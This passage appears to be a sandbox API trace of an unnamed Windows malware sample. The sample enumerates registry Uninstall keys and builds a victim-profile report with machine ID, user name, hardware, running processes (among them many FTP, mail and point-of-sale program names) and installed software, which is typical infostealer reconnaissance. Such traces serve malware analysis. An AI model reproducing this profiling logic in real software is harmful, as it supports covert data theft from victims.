whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\n"
[0054.971] RegCloseKey (hKey=0x514) returned 0x0
[0054.971] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x30, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-00E1-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.971] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-00E1-0409-0000-0000000FF1CE}") returned 90
[0054.972] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-00E1-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.972] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Office OSM MUI (English) 2016", lpcbData=0x1816c0*=0x28) returned 0x0
[0054.972] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft Office OSM MUI (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe 